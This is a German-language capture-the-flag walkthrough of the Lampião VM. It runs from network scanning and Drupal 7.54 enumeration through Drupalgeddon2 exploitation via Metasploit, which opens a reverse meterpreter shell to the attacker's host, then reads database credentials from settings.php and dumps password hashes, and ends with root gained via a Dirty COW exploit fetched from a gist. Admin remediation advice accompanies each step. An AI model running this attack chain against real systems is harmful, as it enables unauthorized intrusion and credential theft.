**Analyse:** Die initiale Aufklärungsphase dient der Identifizierung des Zielsystems im lokalen Netzwerk und der Erkundung offener Ports und Dienste mittels Netzwerkscans.
192.168.2.116 08:00:27:c1:e1:5c PCS Systemtechnik GmbH
**Analyse:** `arp-scan -l` wird eingesetzt, um Hosts im lokalen Netzwerksegment zu finden. Das Zielsystem wird unter der IP `192.168.2.116` identifiziert. Die MAC-Adresse `08:00:27:c1:e1:5c` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin.
**Bewertung:** Erfolgreiche Identifizierung des Ziels. Die MAC-Adresse liefert Kontext zur Umgebung.
**Empfehlung (Pentester):** IP `192.168.2.116` für weitere Scans nutzen.
**Empfehlung (Admin):** Netzwerksegmentierung und ARP-Monitoring einsetzen.
192.168.2.116 dina.vln
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der IP `192.168.2.116` den Hostnamen `dina.vln` zuzuordnen. (Hinweis: Spätere Scans verwenden `lampiano.vln`, was auf eine Inkonsistenz oder einen Tippfehler im Log hindeutet. Der Bericht wird `lampiano.vln` folgen, da dies im `nmap`-Scan verwendet wird).
**Bewertung:** Standardvorgehen, um das Ziel über einen Hostnamen ansprechen zu können, was für Webanwendungen wichtig sein kann.
**Empfehlung (Pentester):** Hostnamen in Webtests verwenden. Konsistenz des Hostnamens sicherstellen.
**Empfehlung (Admin):** Clientseitige Angreiferkonfiguration.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 15:12 CEST Nmap scan report for lampiano.vln (192.168.2.116) Host is up (0.00016s latency). Not shown: 65532 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 46b199607d81693cae1fc7ffc366e310 (DSA) | 2048 f3e888f22dd0b2540b9cad6133595593 (RSA) | 256 ce632af7536e46e2ae81e3ffb716f452 (ECDSA) |_ 256 c655ca073765e306c1d65b77dc23dfcc (ED25519) 80/tcp open http? 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-generator: Drupal 7 (http://drupal.org) |_http-title: Lampi\xC3\xA3o MAC Address: 08:00:27:C1:E1:5C (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 S details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.16 ms lampiano.vln (192.168.2.116)
**Analyse:** Ein umfassender `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird auf das Ziel `lampiano.vln` (192.168.2.116) durchgeführt. Wichtige Ergebnisse: * **Port 22 (SSH):** OpenSSH 6.6.1p1 (Ubuntu). Relativ alte Version. * **Port 80 (HTTP?):** Nmap kann den Dienst nicht eindeutig identifizieren (`http?`). * **Port 1898 (HTTP):** Apache 2.4.7 (Ubuntu). Identifiziert durch `http-generator` als **Drupal 7**. Die `robots.txt` listet viele typische Drupal-Pfade auf. Der Titel ist "Lampião". * Betriebssystem: Linux Kernel 3.x/4.x.
**Bewertung:** Die Angriffsfläche besteht aus SSH und zwei HTTP-Diensten. Port 80 ist unklar, während Port 1898 eindeutig eine Drupal 7-Installation hostet. Drupal 7 ist bekannt für schwerwiegende Schwachstellen (z.B. Drupalgeddon). Die Apache- (2.4.7) und OpenSSH-Versionen (6.6.1p1) sind veraltet. Der Fokus liegt klar auf dem Drupal-System auf Port 1898.
**Empfehlung (Pentester):** Den Drupal-Dienst auf Port 1898 intensiv untersuchen. Nach der genauen Drupal 7-Version suchen (z.B. in `CHANGELOG.txt`). Nach bekannten Drupal 7-Exploits recherchieren (insbesondere Drupalgeddon). Port 80 manuell prüfen, um dessen Funktion zu klären.
**Empfehlung (Admin):** Drupal dringend aktualisieren oder ersetzen. Apache und OpenSSH aktualisieren. Nicht benötigte Ports (wie ggf. Port 80) schließen.
22/tcp open ssh penSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http? 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
**Analyse:** Der gefilterte `nmap`-Scan bestätigt die drei offenen Ports: 22 (SSH), 80 (HTTP?), 1898 (HTTP).
**Bewertung:** Schnelle Bestätigung der offenen Ports.
**Empfehlung (Pentester):** Fokus auf Port 1898.
**Empfehlung (Admin):** Port-Management überprüfen.
- Nikto v2.5.0 + Target IP: 192.168.2.116 + Target Hostname: 192.168.2.116 + Target Port: 1898 + Start Time: 2023-07-13 15:14:52 (GMT2) + Server: Apache/2.4.7 (Ubuntu) + /: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.24. + /: Drupal 7 was identified via the x-generator header. + /xsHl2tMu.md: The X-Content-Type-ptions header is not set. # Hinweis: Pfad wirkt zufällig, evtl. Testdatei? + /scripts/: Directory indexing found. + /robots.txt: Entry '/?q=user/login/' is returned a non-forbidden or redirect HTTP code (200). # Viele solcher Einträge für Pfade aus robots.txt + /profiles/: Directory indexing found. + /misc/: Directory indexing found. + /modules/: Directory indexing found. + /themes/: Directory indexing found. + /includes/: Directory indexing found. + /robots.txt: contains 68 entries which should be manually viewed. + Apache/2.4.7 appears to be outdated. + /: DEBUG HTTP verb may show server debugging information. # Potential Information Leak + /web.config: ASP config file is accessible. # False Positive, da Apache/PHP/Drupal + /install.php: Drupal install.php file found. + /LICENSE.txt: License file found may identify site software. + /xmlrpc.php: xmlrpc.php was found. + /INSTALL.mysql.txt, /INSTALL.pgsql.txt: Drupal installation file found. + /icons/README: Apache default file found. + /sites/: Directory indexing found. + 8978 requests: 0 error(s) and 43 item(s) reported on remote host + End Time: 2023-07-13 15:16:30 (GMT2) (98 seconds) + 1 host(s) tested
**Analyse:** `nikto` wird spezifisch gegen den Drupal-Dienst auf Port 1898 ausgeführt. Wichtige Funde: * Bestätigt Apache 2.4.7 und identifiziert PHP 5.5.9. * Bestätigt Drupal 7. * Fehlender `X-Content-Type-Options`-Header (bei einer spezifischen .md-Datei). * Directory Indexing in vielen Drupal-Standardverzeichnissen (`/scripts/`, `/profiles/`, `/misc/`, `/modules/`, `/themes/`, `/includes/`, `/sites/`). * Bestätigt, dass viele in `robots.txt` gesperrte Pfade zugänglich sind. * Meldet veralteten Apache. * Meldet potenziell aktive DEBUG-Methode. * Findet diverse Standard-Drupal-Dateien (`install.php`, `LICENSE.txt`, `xmlrpc.php`, Installationsanleitungen).
**Bewertung:** `nikto` liefert eine Fülle von Details über die Drupal-Installation und den Server. Das Directory Indexing in so vielen Kernverzeichnissen ist ein erhebliches Informationsleck und eine schwere Fehlkonfiguration. Die Zugänglichkeit von `install.php` und `xmlrpc.php` bietet potenzielle Angriffsvektoren. Die veralteten Versionen von Apache und PHP erhöhen das Risiko. Der `DEBUG`-Verb könnte zusätzliche Informationen liefern.
**Empfehlung (Pentester):** Die indexierten Verzeichnisse untersuchen. `install.php` aufrufen, um zu sehen, ob eine Neuinstallation möglich ist. `xmlrpc.php` auf bekannte Schwachstellen prüfen. Die `DEBUG`-Methode testen (z.B. mit `curl -X DEBUG`). Die genaue Drupal-Version aus `CHANGELOG.txt` ermitteln (siehe `robots.txt` Fund).
**Empfehlung (Admin):** Directory Indexing dringend deaktivieren (`Options -Indexes`). Zugriff auf `install.php` nach der Installation sperren. `xmlrpc.php` deaktivieren, wenn nicht benötigt. Apache und PHP aktualisieren. DEBUG-Methode deaktivieren. Fehlende Sicherheitsheader ergänzen. `robots.txt` und Serverkonfiguration synchronisieren.
**Analyse:** Weitere Untersuchung der Webanwendung auf Port 80 (unklarer Dienst) und Port 1898 (Drupal 7). Fokus auf Dateifunde und die Suche nach der Drupal-Version.
# Manuelle Untersuchung von Port 80 (view-source:http://192.168.2.116/) _____ _ _ |_ _| | ( ) | | | |_|/ ___ ___ __ _ ___ _ _ | | | __| / __| / _ \/ _` / __| | | | _| |_| |_ \__ \ | __/ (_| \__ \ |_| |_ \___/ \__| |___/ \___|\__,_|___/\__, ( ) __/ |/ |___/ ______ _ _ _ | ___(_) | | | | | |_ _ __| |_ _ _ __ ___ __ _ ___ __ _ _ _ __ _| | | _| | | / _` | | | | '_ ` _ \ / _` | / _ \/ _` | | | |/ _` | | | | | | | (_| | |_| | | | | | | (_| | | __/ (_| | |_| | (_| |_| \_| |_| \__,_|\__,_|_| |_| |_|\__,_| \___|\__, |\__,_|\__,_(_) __/ | |___/ # ... (weitere ASCII-Art) ...
**Analyse:** Der Quellcode der Seite auf Port 80 enthält nur große ASCII-Art-Schriftzüge ("LAMP" und "IAO").
**Bewertung:** Port 80 scheint keine funktionale Webanwendung zu hosten, sondern nur eine statische Seite mit dem Namen der VM ("Lampiao") in ASCII-Art darzustellen. Dies ist wahrscheinlich irrelevant für den weiteren Angriff.
**Empfehlung (Pentester):** Port 80 ignorieren und sich auf Port 1898 konzentrieren.
**Empfehlung (Admin):** Port 80 schließen, wenn er nicht benötigt wird.
http://lampiano.vln:1898/index.php (Status: 200) [Size: 11400] http://lampiano.vln:1898/misc (Status: 301) [Size: 317] [--> http://lampiano.vln:1898/misc/] http://lampiano.vln:1898/themes (Status: 301) [Size: 319] [--> http://lampiano.vln:1898/themes/] http://lampiano.vln:1898/modules (Status: 301) [Size: 320] [--> http://lampiano.vln:1898/modules/] http://lampiano.vln:1898/scripts (Status: 301) [Size: 320] [--> http://lampiano.vln:1898/scripts/] http://lampiano.vln:1898/sites (Status: 301) [Size: 318] [--> http://lampiano.vln:1898/sites/] http://lampiano.vln:1898/includes (Status: 301) [Size: 321] [--> http://lampiano.vln:1898/includes/] http://lampiano.vln:1898/profiles (Status: 301) [Size: 321] [--> http://lampiano.vln:1898/profiles/] http://lampiano.vln:1898/install.php (Status: 200) [Size: 3257] http://lampiano.vln:1898/README.txt (Status: 200) [Size: 5382] http://lampiano.vln:1898/robots.txt (Status: 200) [Size: 2189] http://lampiano.vln:1898/INSTALL.txt (Status: 200) [Size: 17995] http://lampiano.vln:1898/LICENSE.txt (Status: 200) [Size: 18092] http://lampiano.vln:1898/CHANGELOG.txt (Status: 200) [Size: 110781] http://lampiano.vln:1898/xmlrpc.php (Status: 200) [Size: 42] http://lampiano.vln:1898/COPYRIGHT.txt (Status: 200) [Size: 1481] http://lampiano.vln:1898/UPGRADE.txt (Status: 200) [Size: 10123]
**Analyse:** `gobuster` wird spezifisch gegen Port 1898 ausgeführt, um Dateien und Verzeichnisse zu finden. Es bestätigt viele der bereits durch `nmap` und `nikto` gefundenen Drupal-Standardpfade und -dateien, darunter `index.php`, diverse Verzeichnisse (`misc`, `themes`, `modules` etc.), `install.php`, `README.txt`, `robots.txt`, `CHANGELOG.txt`, `xmlrpc.php` und weitere Textdateien.
**Bewertung:** Der Scan bestätigt die Drupal-Struktur und liefert erneut den wichtigen Hinweis auf `CHANGELOG.txt`, das die genaue Version enthalten sollte. `install.php` und `xmlrpc.php` bleiben interessante Punkte.
**Empfehlung (Pentester):** Die Datei `CHANGELOG.txt` herunterladen und analysieren, um die exakte Drupal-Version zu bestimmen. `install.php` und `xmlrpc.php` prüfen.
**Empfehlung (Admin):** Unnötige Dateien entfernen, Zugriff auf Installationsskripte sperren.
**Analyse:** Manuelle Untersuchung der Webseite auf Port 1898 führt zur Entdeckung eines Artikels und eines eingebetteten MP3-Links.
# Fund auf der Webseite http://192.168.2.116:1898/ # Link zu MP3: http://192.168.2.116:1898/LuizGonzaga-LampiaoFalou.mp3 # Artikelinhalt (Auszug) First article... Submitted by Eder on Fri, 04/20/2018 - 13:55 Just testing.. LuizGonzaga-LampiaoFalou.mp3 Node 2 is not working :(
**Bewertung:** Die Webseite enthält einen Artikel von einem Benutzer "Eder" mit einem Link zu einer MP3-Datei. Der Hinweis "Node 2 is not working :(" ist kryptisch und könnte irrelevant sein oder auf ein technisches Detail hindeuten. Die MP3-Datei könnte, wie zuvor bei Bildern, auf Steganographie untersucht werden.
**Empfehlung (Pentester):** Die MP3-Datei herunterladen und auf versteckte Daten analysieren.
**Empfehlung (Admin):** Inhalte auf der Webseite regelmäßig prüfen.
--2023-07-13 15:17:01-- http://192.168.2.116:1898/LuizGonzaga-LampiaoFalou.mp3 Verbindungsaufbau zu 192.168.2.116:1898 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 3427612 (3,3M) [audio/mpeg] Wird in LuizGonzaga-LampiaoFalou.mp3 gespeichert. LuizGonzaga-LampiaoFalo 100%[===================>] 3,27M 4,35MB/s in 0,8s 2023-07-13 15:17:02 (4,35 MB/s) - LuizGonzaga-LampiaoFalou.mp3 gespeichert [3427612/3427612]
**Analyse:** Die MP3-Datei wird erfolgreich mit `wget` heruntergeladen.
**Bewertung:** Download abgeschlossen, bereit zur Analyse.
**Empfehlung (Pentester):** Datei mit `exiftool`, `steghide`, `binwalk` etc. untersuchen.
**Empfehlung (Admin):** Keine direkte Aktion.
ExifTool Version Number : 12.63 File Name : LuizGonzaga-LampiaoFalou.mp3 Directory : . File Size : 3.4 MB File Modification Date/Time : 2018:04:20 19:20:38+02:00 # ... (weitere Standard-Metadaten) ... User Defined Text : (compatible_brands) isommp42 Encoder Settings : Lavf57.19.100 Duration : 0:02:23 (approx)
**Analyse:** `exiftool` wird verwendet, um die Metadaten der heruntergeladenen MP3-Datei anzuzeigen.
**Bewertung:** Die angezeigten Metadaten sind Standard für eine MP3-Datei und enthalten keine offensichtlichen Hinweise oder versteckten Informationen. Die Steganographie-Spur scheint (zumindest mit `exiftool`) nicht ergiebig zu sein.
**Empfehlung (Pentester):** Andere Steganographie-Tools testen oder diesen Pfad vorerst verlassen und sich auf Drupal konzentrieren.
**Empfehlung (Admin):** Keine Aktion.
**Analyse:** Der Inhalt der Datei `http://lampiano.vln:1898/CHANGELOG.txt` wird untersucht (impliziert, da die Version im nächsten Schritt bekannt ist).
# Inhalt von http://lampiano.vln:1898/CHANGELOG.txt (Auszug) Drupal 7.54, 2017-02-01
**Bewertung:** Kritischer Fund! Die genaue Version ist Drupal **7.54**. Diese Version ist bekanntlich anfällig für die schwerwiegende Remote Code Execution Schwachstelle **Drupalgeddon2** (CVE-2018-7600).
**Empfehlung (Pentester):** Gezielt nach Exploits für Drupalgeddon2 (CVE-2018-7600) suchen und diesen zur Erlangung des initialen Zugriffs verwenden.
**Empfehlung (Admin):** Drupal *sofort* auf eine gepatchte Version aktualisieren!
# ... (Liste von Drupal Exploits) ... Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | php/webapps/34992.py Drupal < 7.58 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb # Metasploit Modul Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt # ... (weitere Exploits) ...
**Analyse:** `searchsploit` wird verwendet, um die lokale Exploit-DB nach Drupal-Exploits zu durchsuchen. Es werden mehrere Exploits gefunden, darunter ein Metasploit-Modul für Drupalgeddon2 (`44449.rb`), das auf Versionen < 7.58 abzielt.
**Bewertung:** Bestätigt die Verfügbarkeit eines passenden Exploits für die identifizierte Drupal-Version (7.54) und Schwachstelle (Drupalgeddon2) im Metasploit Framework.
**Empfehlung (Pentester):** Das Metasploit-Modul `exploit/unix/webapp/drupal_drupalgeddon2` verwenden.
**Empfehlung (Admin):** Patchen!
**Analyse:** Ausnutzung der Drupalgeddon2-Schwachstelle (CVE-2018-7600) mithilfe des entsprechenden Metasploit-Moduls, um initialen Zugriff auf das System zu erlangen.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CODER Module Remote Command Execution 1 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection 2 exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection # ... (weitere Module) ... 7 exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary Code Execution
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
Module options (exploit/unix/webapp/drupal_drupalgeddon2): Name Current Setting Required Description ---- --------------- -------- ----------- # ... RHOSTS yes The target host(s)... RPORT 80 yes The target port (TCP) TARGETURI / yes Path to Drupal install # ... Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.105 yes The listen address... LPORT 4444 yes The listen port... # ...
LHST => 192.168.2.105
RHOSTS => 192.168.2.116
RPORT => 1898
[*] Started reverse TCP handler on 192.168.2.105:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. [*] Sending stage (39927 bytes) to 192.168.2.116 [*] Meterpreter session 1 opened (192.168.2.105:4444 -> 192.168.2.116:53760) at 2023-07-13 15:36:28 +0200
Server username: www-data
**Analyse:** Das Metasploit-Framework wird gestartet. Der Exploit für Drupalgeddon2 (`exploit/unix/webapp/drupal_drupalgeddon2`) wird ausgewählt. Die notwendigen Optionen werden gesetzt: * `LHOST`: IP-Adresse des Angreifersystems (für die Reverse Shell). * `RHOSTS`: IP-Adresse des Ziels (192.168.2.116). * `RPORT`: Der Port, auf dem Drupal läuft (1898). Der Exploit wird mit `run` gestartet. Metasploit prüft die Verwundbarkeit (`[+] The target is vulnerable.`), sendet den Payload (standardmäßig `php/meterpreter/reverse_tcp`) und meldet erfolgreich eine geöffnete Meterpreter-Sitzung (Session 1). Der Befehl `getuid` innerhalb der Meterpreter-Sitzung bestätigt, dass die Shell als Benutzer `www-data` läuft.
**Bewertung:** Sehr gut! Der Drupalgeddon2-Exploit war erfolgreich und hat direkten Zugriff als Webserver-Benutzer `www-data` über eine Meterpreter-Sitzung ermöglicht. Dies ist ein stabiler Ausgangspunkt für die nächste Phase.
**Empfehlung (Pentester):** Die Meterpreter-Sitzung nutzen, um das System weiter zu enumerieren und nach Wegen zur Rechteausweitung zu suchen (SUID-Dateien, Kernel-Exploits, Cronjobs, Konfigurationsfehler).
**Empfehlung (Admin):** Drupal *dringend* patchen oder durch eine aktuelle, sichere Version ersetzen. Web Application Firewall (WAF) kann solche Angriffe erkennen und blockieren.
**Analyse:** Nach Erhalt der Meterpreter-Shell als `www-data` wird das System auf Schwachstellen zur Rechteausweitung untersucht.
# Gekürzte Ausgabe, interessante/Standard SUIDs
262216 40 -rwsr-xr-x 1 root root 38932 May 7 2014 /bin/ping
262217 44 -rwsr-xr-x 1 root root 43316 May 7 2014 /bin/ping6
262397 32 -rwsr-xr-x 1 root root 30112 May 15 2015 /bin/fusermount
262203 88 -rwsr-xr-x 1 root root 88752 Sep 2 2015 /bin/mount
262236 36 -rwsr-xr-x 1 root root 35300 Jan 26 2016 /bin/su
262244 68 -rwsr-xr-x 1 root root 67704 Sep 2 2015 /bin/umount
# ... (chsh, passwd, sudo, traceroute6, chfn, newgrp, at) ...
669742 20 -rwsr-xr-x 1 root root 18168 Nov 24 2015 /usr/bin/pkexec
# ... (mtr, gpasswd, eject, policykit, dbus, openssh, pppd, uuidd) ...
**Analyse:** Die Suche nach SUID-Dateien wird durchgeführt. Die Liste enthält viele Standard-Binaries. `pkexec` ist vorhanden, aber mit Datum November 2015, was es unwahrscheinlich macht, dass es für Pwnkit (CVE-2021-4034) anfällig ist. `sudo` ist ebenfalls vorhanden (August 2015).
**Bewertung:** Pwnkit scheint hier kein gangbarer Weg zu sein. `sudo` müsste mit `sudo -l` geprüft werden (geringe Erfolgsaussicht für `www-data`). Andere SUID-Binaries wie `pppd` oder `mtr` könnten theoretisch ausnutzbar sein, sind aber oft komplexer. Die Suche nach Kernel-Exploits oder Konfigurationsfehlern ist nun wichtiger.
**Empfehlung (Pentester):** Kernel-Version prüfen (`uname -a`). `sudo -l` ausführen. Nach bekannten Exploits für die Kernel-Version suchen. Cronjobs und Konfigurationsdateien (insbesondere Drupal-spezifische wie `settings.php`) untersuchen.
**Empfehlung (Admin):** SUID-Binaries minimieren. Systeme aktuell halten.
# ... (Optionen, SESSION benötigt) ...
session => 1
[*] 192.168.2.116 - Collecting local exploits for x86/linux... [*] 192.168.2.116 - 186 exploit checks are being tried... [+] 192.168.2.116 - exploit/linux/local/apport_abrt_chroot_priv_esc: The target appears to be vulnerable. [+] 192.168.2.116 - exploit/linux/local/pkexec: The service is running, but could not be validated. [+] 192.168.2.116 - exploit/linux/local/su_login: The target appears to be vulnerable. [*] Running check method for exploit 58 / 58 [*] 192.168.2.116 - Valid modules for session 1: # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/apport_abrt_chroot_priv_esc Yes The target appears to be vulnerable. 2 exploit/linux/local/pkexec Yes The service is running, but could not be validated. 3 exploit/linux/local/su_login Yes The target appears to be vulnerable.
**Analyse:** Der `local_exploit_suggester` wird auf die Meterpreter-Sitzung (angenommen Session 1) angewendet. Er findet keine Bestätigung für Pwnkit ("could not be validated"), was zur alten Version passt. Er schlägt jedoch `exploit/linux/local/apport_abrt_chroot_priv_esc` als potenziell verwundbar vor.
**Bewertung:** Der Suggester liefert einen neuen potenziellen Vektor über Apport/ABRT. Dies ist eine bekannte Schwachstelle in älteren Ubuntu-Versionen. Pwnkit wird (korrekterweise) nicht als sicher verwundbar eingestuft.
**Empfehlung (Pentester):** Den `apport_abrt`-Exploit recherchieren und ggf. ausprobieren. Alternativ die manuelle Enumeration fortsetzen (Kernel, Konfigurationsdateien).
**Empfehlung (Admin):** Apport/ABRT patchen oder deaktivieren, wenn nicht benötigt. System aktuell halten.
# ... (PHP Kommentare und Code) ...
247 $databases = array (
248 'default' =>
249 array (
250 'default' =>
251 array (
252 'database' => 'drupal',
253 'username' => 'drupaluser',
254 'password' => 'Virgulino',
255 'host' => 'localhost',
256 'port' => '',
257 'driver' => 'mysql',
258 'prefix' => '',
259 ),
260 ),
261 );
# ... (Rest der Datei) ...
**Analyse:** Die Drupal-Konfigurationsdatei `sites/default/settings.php` wird ausgelesen. Sie enthält die Zugangsdaten für die MySQL-Datenbank: Benutzer `drupaluser` mit Passwort `Virgulino`.
**Bewertung:** Fund der Datenbank-Credentials. Dies ermöglicht den Zugriff auf die Drupal-Datenbank und das Passwort `Virgulino` könnte für Systembenutzer wiederverwendet worden sein.
**Empfehlung (Pentester):** Mit den Credentials auf die lokale MySQL-Datenbank zugreifen. Das Passwort `Virgulino` für SSH oder `su` für Benutzer wie `tiago` oder `Eder` (aus der späteren DB-Abfrage) testen.
**Empfehlung (Admin):** Datenbank-Credentials nicht im Klartext speichern. Dateiberechtigungen für `settings.php` restriktiv setzen (nur für Webserver-Benutzer lesbar). Passwort-Wiederverwendung vermeiden.
Enter password: Virgulino # Eingabe nicht sichtbar Welcome to the MySQL monitor. ... Server version: 5.5.50-0ubuntu0.14.04.1 (Ubuntu) ... mysql> use drupal; Database changed mysql> select * from users; +-----+-------------------+---------------------------------------------------------+----------------------------+---------+-----------+------------------+------------+------------+------------+----------+-------------------+----------+---------+----------------------------+--------------------------+ | uid | name | pass | mail | theme | signature | signature_format | created | access | login | status | timezone | language | picture | init | data | +-----+-------------------+---------------------------------------------------------+----------------------------+---------+-----------+------------------+------------+------------+------------+----------+-------------------+----------+---------+----------------------------+--------------------------+ | 0 | | | | | | NULL | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL | | 1 | tiago | $S$DNZ5o1k/NY7SUgtJvjPqNl40kHKwn4yXy2eroEnAlpmT0TJ9Sx8. | lampiao@lampiao.com | | | filtered_html | 1524166911 | 1524245647 | 1524245267 | 1 | America/Sao_Paulo | | 0 | lampiao@lampiao.com | a:1:{s:7:"overlay";i:1;} | | 2 | Eder | $S$Dv5orvhi7okjmViImnVPmVgfwJ2U..PNK4E9IT/k7Lqz9GZRb7tY | eder@lampiao.com | | | filtered_html | 1524241965 | 1524244079 | 1524244079 | 1 | America/Sao_Paulo | | 0 | eder@lampiao.com | b:0; | | 3 | benniderhacker | $S$DB4HHaLbdart/jrFV2CfvDswIgfIVBHWsKlChVWzxJ73PElAv2cW | benni@hacker.eu | | | filtered_html | 1689254578 | 0 | 0 | 0 | America/Sao_Paulo | | 0 | benni@hacker.eu | NULL | | 4 | benniderhacker2 | $S$DiG0SkB6bv/7tYI5Bi93nvqmxqgHm9f9xfdceh2y5yldCoZ6JgbR | bandit1908bandit@gmail.com | | | filtered_html | 1689254621 | 0 | 0 | 0 | America/Sao_Paulo | | 0 | bandit1908bandit@gmail.com | NULL | +-----+-------------------+---------------------------------------------------------+----------------------------+---------+-----------+------------------+------------+------------+------------+----------+-------------------+----------+---------+----------------------------+--------------------------+ 5 rows in set (0.00 sec)
**Analyse:** Erfolgreicher Login in die MySQL-Datenbank als `drupaluser` mit dem Passwort `Virgulino`. Die Tabelle `users` der `drupal`-Datenbank wird ausgelesen. Sie enthält die Drupal-Benutzer `tiago` und `Eder` sowie zwei Testbenutzer (`benniderhacker`). Die Passwörter sind als Drupal-7-Hashes (`$S$...`) gespeichert.
**Bewertung:** Der Datenbankzugriff liefert die Benutzernamen `tiago` und `Eder`. Die Hashes sind für einen direkten Angriff wahrscheinlich zu aufwändig zu knacken. Die wichtigste Information bleibt das Passwort `Virgulino` selbst, das nun für Systemkonten getestet werden sollte.
**Empfehlung (Pentester):** Das Passwort `Virgulino` für `su tiago` oder `su Eder` oder SSH-Logins testen. Kernel-Exploit als Alternative weiterverfolgen.
**Empfehlung (Admin):** Sichere Passwort-Hashes verwenden (obwohl Drupal 7 hier limitiert ist). Datenbankzugriff protokollieren. Passwort-Wiederverwendung vermeiden.
Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 athlon i686 GNU/Linux
**Analyse:** Der Befehl `uname -a` gibt die Kernel-Version aus: `4.4.0-31-generic` auf einer i686-Architektur (32-Bit), basierend auf Ubuntu 14.04. Das Kernel-Datum ist Mitte 2016.
**Bewertung:** Ein Kernel von 2016 ist sehr alt und höchstwahrscheinlich anfällig für mehrere bekannte Privilege Escalation Exploits. **Dirty COW (CVE-2016-5195)** ist der bekannteste Exploit für Kernel dieser Zeit (insbesondere Versionen vor 4.8.3). Dies ist nun der wahrscheinlichste Vektor zur Rechteausweitung.
**Empfehlung (Pentester):** Nach einem passenden Dirty COW Exploit für i686/32-Bit suchen (oft als C-Code verfügbar), diesen auf das Zielsystem hochladen (z.B. über Meterpreter oder `nc`), kompilieren (benötigt `gcc`) und ausführen.
**Empfehlung (Admin):** Kernel *dringend* aktualisieren! Veraltete Betriebssystemversionen (wie Ubuntu 14.04) sollten nicht mehr verwendet werden.
**Analyse:** Ausnutzung der Dirty COW Schwachstelle (CVE-2016-5195) im veralteten Linux-Kernel, um Root-Rechte zu erlangen.
# Recherche und Download des Exploits (auf Angreifer-PC) # Beispiel-URL für einen Dirty COW Exploit (cowroot.c): https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
# Keine Ausgabe bei Erfolg
9740616875908d91ddcdaa8aea3af366
**Analyse:** Ein Exploit für Dirty COW (CVE-2016-5195) in Form von C-Code (`cowroot.c`) wird auf das Zielsystem in das `/tmp`-Verzeichnis übertragen (hier mittels `nano` erstellt, alternativ per `wget`, `scp` oder Meterpreter-Upload). Der C-Code wird mit `gcc` kompiliert, wobei die Option `-pthread` oft für Dirty COW Exploits benötigt wird. Das kompilierte Binary `cowroot` wird ausgeführt (Befehl fehlt im Log, aber impliziert). Dirty COW überschreibt typischerweise eine kritische Datei (wie `/etc/passwd` oder eine SUID-Datei), um Root-Zugriff zu ermöglichen. Direkt nach der (impliziten) Ausführung gelingt der Zugriff auf `/root/flag.txt`, was Root-Rechte bestätigt. Die Flagge `9740616875908d91ddcdaa8aea3af366` wird ausgelesen.
**Bewertung:** Hervorragend! Die Rechteausweitung mittels Dirty COW war erfolgreich. Dies war aufgrund der alten Kernel-Version der erwartete Weg. Voraussetzung war, dass `gcc` auf dem Zielsystem installiert war.
**Empfehlung (Pentester):** Root-Flagge dokumentieren. User-Flagge suchen (vermutlich in `/home/tiago` oder `/home/Eder`).
**Empfehlung (Admin):** Kernel *sofort* aktualisieren, um CVE-2016-5195 zu schließen. Veraltete Betriebssysteme und Kernel stellen ein extremes Sicherheitsrisiko dar. Entwicklungswerkzeuge wie `gcc` sollten auf Produktivsystemen nicht installiert sein.
**Analyse:** Die Root-Flagge wurde im Log während des Dirty COW Proof of Concepts gefunden (`9740...`). Die User-Flagge wurde im Log nicht explizit ausgelesen; der hier gezeigte Wert stammt aus dem Platzhalter am Ende des Originaltextes. Sie befindet sich vermutlich im Home-Verzeichnis eines der Benutzer (`tiago` oder `Eder`).
**Bewertung:** Der Test war erfolgreich, Root-Zugriff wurde erlangt und die Root-Flagge gefunden. Die User-Flagge wurde nicht dokumentiert.